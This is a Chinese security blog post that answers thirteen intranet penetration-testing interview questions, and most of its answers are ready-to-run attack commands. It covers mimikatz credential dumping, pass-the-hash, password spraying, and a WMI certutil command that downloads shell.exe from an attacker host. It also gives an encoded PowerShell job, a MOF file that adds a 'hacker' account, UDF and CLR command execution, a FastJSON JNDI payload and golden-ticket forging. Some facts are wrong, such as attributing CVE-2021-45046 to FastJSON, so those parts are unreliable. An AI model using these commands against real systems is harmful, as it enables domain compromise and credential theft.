安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[1. 仅通过CMD确认目标服务器可登录性](#1. 仅通过CMD确认目标服务器可登录性)
[2. MySQL+PHP+Windows环境注入效率优化](#2. MySQL+PHP+Windows环境注入效率优化)
[3. mimikatz提取Hash的进程](#3. mimikatz提取Hash的进程)
[4. 内网定位域控的10种方法](#4. 内网定位域控的10种方法)
[5. 非域环境定位域控](#5. 非域环境定位域控)
[6. 内网横向移动5大方法](#6. 内网横向移动5大方法)
[7. 未破解Hash的利用方法](#7. 未破解Hash的利用方法)
[8. 非常规端口GetShell方法](#8. 非常规端口GetShell方法)
[9. MSSQL禁用xp_cmdshell后的GetShell](#9. MSSQL禁用xp_cmdshell后的GetShell)
[10. MySQL MOF提权原理](#10. MySQL MOF提权原理)
[11. UDF提权原理与条件](#11. UDF提权原理与条件)
[12. FastJSON漏洞利用](#12. FastJSON漏洞利用)
[13. 黄金票据(Golden Ticket)详解](#13. 黄金票据(Golden Ticket)详解)
1、内网环境如果只有cmd和目标服务器的账号密码,如何确认目标服务器是否能登陆 2、对于MySQL+PHP+Windows的环境,如果存在注入,如何提高注入效率 3、mimikatz是从哪个进程抓的hash 4、如何在内网环境中找到域控(至少10种方法) 5、已知一公司环境存在域控,如果不在域环境内,如何寻找域控 6、内网渗透横向扩展有那几种方法(至少5种) 7、内网中,如果拿到一台机器或者多台机器的hash,如果hash没有解出来,还有别的利用方法吗 8、除了通过445,3389,21,22,23,80,8080,3306端口上部署的服务拿权限外,还可以通过什么端口什么服务拿到目标机的权限 9、mssql开启xpcmd无法写文件,还有什么方法可以getshell 10、mysql的mof提权原理 11、udf提权原理和条件 12、fastjson利用过 13、黄金票据是
1. 仅通过CMD确认目标服务器可登录性
bash`# Windows 系统 net use \\目标IP\C$ /user:用户名 "密码" # 尝试挂载C盘 systeminfo /s 目标IP /u 用户名 /p "密码" # 获取系统信息 # Linux 系统 (需安装rsh-client) rsh -l 用户名 目标IP "id" # 执行远程命令 `
判断依据:命令成功执行(返回0)且输出有效信息即证明可登录。
2. MySQL+PHP+Windows环境注入效率优化
盲注加速 :
sql`SELECT IF(ASCII(SUBSTR(database(),1,1))=115, BENCHMARK(5000000,MD5('x')),1)`
- 利用
BENCHMARK()
制造时间延迟,减少请求次数批量提取 :
- 使用
GROUP_CONCAT()
一次性获取所有表名/字段- 结合
INTO OUTFILE
直接导出数据(需写权限)工具自动化 :
- sqlmap 参数:
--threads 10 --batch --risk 3 --level 5
3. mimikatz提取Hash的进程
LSASS进程(Local Security Authority Subsystem Service)
- 内存中存储明文密码/NTLM Hash
- 执行命令:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
4. 内网定位域控的10种方法
方法 命令/操作 1. DNS SRV记录查询 nslookup -type=SRV _ldap._tcp.dc._msdcs. 域名
2. NetBIOS扫描 nbtstat -A 目标IP
3. LDAP默认端口探测 telnet 目标IP 389
4. Kerberos端口探测 telnet 目标IP 88
5. 查询当前域控 net group "Domain Controllers" /domain
6. SMB服务标识 smbclient -L //目标IP/ -N
7. SPN扫描 setspn -T 域名 -Q */*
8. 组策略对象定位 gpresult /R
或检查\\域名\SYSVOL
9. 时间服务源 w32tm /monitor
10. 活动目录站点拓扑 nltest /dsgetsite
5. 非域环境定位域控
DNS侦查 :
bash`dig @DNS服务器IP 域名 axfr # 尝试区域传输 `
端口扫描:扫描389(LDAP)、636(LDAPS)、88(Kerberos)、445(SMB)端口
LLMNR/NBNS毒化:工具Responder监听获取域控身份认证
SMB匿名枚举 :
bash`crackmapexec smb 目标IP --shares -u '' -p ''`
6. 内网横向移动5大方法
密码喷射攻击 :
- 工具:CrackMapExec
bash`crackmapexec smb IP段 -u userlist.txt -p 'Password123!' `
Pass-the-Hash (PtH) :
- 工具:psexec.py
bash`psexec.py -hashes :NTLM_HASH 域名/用户@目标IP `
服务漏洞利用 :
- MS17-010、MS08-067等永恒之蓝系列漏洞
WMI远程执行 :
powershell`wmic /node:目标IP process call create "cmd.exe /c certutil -urlcache -split -f http://攻击机/shell.exe" `
计划任务部署 :
bash`schtasks /create /s 目标IP /u 域用户 /p 密码 /tn 任务名 /tr "C:\shell.exe" /sc once /st 00:00 `
7. 未破解Hash的利用方法
Pass-the-Hash (PtH) :
bash`mimikatz.exe "sekurlsa::pth /user:管理员 /domain:目标域 /ntlm:HASH"`
Overpass-the-Hash:将NTLM Hash转为Kerberos TGT
约束委派攻击:利用服务账户Hash请求可转发票据
8. 非常规端口GetShell方法
端口 服务 利用方式 5985/5986 WinRM Evil-WinRM或Powershell Remoting 135 RPC DCOM横向移动(如MMC20.Application) 1433 MSSQL xp_cmdshell/CLR自动执行 5985 WMI wmiexec.py 执行命令 47001 Windows Remote Management 同WinRM
9. MSSQL禁用xp_cmdshell后的GetShell
CLR程序集 :
sql`CREATE ASSEMBLY ExecCmd FROM 'C:\clr.dll' WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE sp_cmdExec @cmd NVARCHAR (MAX) AS EXTERNAL NAME ExecCmd.StoredProcedures.CmdExec; EXEC sp_cmdExec 'whoami';`
Agent Jobs提权 :
sql`EXEC msdb.dbo.sp_add_job @job_name='GetShell'; EXEC msdb.dbo.sp_add_jobstep @job_name='GetShell', @command='powershell -e JABzAC...'; EXEC msdb.dbo.sp_start_job 'GetShell';`
10. MySQL MOF提权原理
- 核心机制 :
Windows每5秒检查C:\Windows\system32\wbem\mof\
中的.mof
文件并执行- 利用步骤 :
创建恶意MOF文件:
c`#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "root\\cimv2"; Name = "filtP1"; Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime'"; QueryLanguage = "WQL"; }; instance of CommandLineEventConsumer as $Consumer { Name = "consP1"; RunInteractively=false; CommandLineTemplate="net user hacker P@ssw0rd /add"; };`
写入目标路径:
sql`SELECT load_file('C:/shell.mof') INTO DUMPFILE 'C:/Windows/system32/wbem/mof/shell.mof'; `
11. UDF提权原理与条件
原理 :
加载自定义DLL创建执行系统命令的函数(如sys_exec()
)必要条件 :
- MySQL有
FILE
权限(secure_file_priv
为空)- 目标系统与DLL架构匹配(32/64位)
- DLL存放路径有写权限(如
plugin_dir
)利用流程 :
sql`CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.dll'; SELECT sys_exec('cmd /c "net user > C:\\out.txt"'); `
12. FastJSON漏洞利用
- 关键漏洞:反序列化时自动触发JNDI注入(CVE-2021-45046)
- 利用步骤 :
启动恶意LDAP服务(工具:marshalsec)
bash`java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://攻击机/#Exploit `
发送PoC请求:
json`{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://恶意IP/Exploit", "autoCommit": true }`
13. 黄金票据(Golden Ticket)详解
mermaid`graph LR A[获取krbtgt的NTLM Hash] --> B[伪造TGT] B --> C[添加任意用户到域管理员组] C --> D[访问域内任何资源]`
制作条件 :
- 域SID(
whoami /user
)- krbtgt账户的AES-256或NTLM Hash
生成命令 :
bash`mimikatz.exe "kerberos::golden /user:伪造用户 /domain:域名 /sid:SID /krbtgt:Hash /ptt"`
防御措施:启用LSA保护、定期重置krbtgt密码(每180天)
附:黄金票据 vs 白银票据
特性 黄金票据 白银票据 所需Hash krbtgt 服务账户(如CIFS$) 访问范围 全域资源 特定服务(如文件共享) 有效期 ≤10年(默认) ≤10小时(默认) 检测难度 极高 中等